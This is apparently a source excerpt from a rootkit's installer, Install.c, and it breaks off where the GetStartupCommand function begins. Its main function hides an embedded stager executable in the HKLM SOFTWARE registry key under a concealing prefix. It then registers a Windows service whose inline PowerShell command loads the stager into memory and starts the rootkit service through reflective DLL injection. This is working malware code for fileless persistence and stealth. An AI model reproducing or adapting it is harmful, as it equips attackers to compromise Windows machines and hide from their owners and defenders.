Function main

Install/Install.c:8–33

#include <Shlwapi.h>

int main()
{
	// Get stager executable from resources.
	LPBYTE stager;
	DWORD stagerSize;
	if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0;

	// Write stager executable to registry.
	// This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell.
	// The target framework is 3.5, but it will run, even if .NET 4.x is installed and .NET 3.5 isn't.

	HKEY key;
	if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) != ERROR_SUCCESS ||
		RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;

	// This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke()
	// The C# binary will proceed with starting the r77 service using reflective DLL injection.
	// The powershell command is purely inline and doesn't require a ps1 file.

	LPWSTR startupCommand = GetStartupCommand();

	DeleteWindowsService(R77_SERVICE_NAME);
	CreateWindowsService(R77_SERVICE_NAME, startupCommand);

	return 0;
}

LPWSTR GetStartupCommand()
{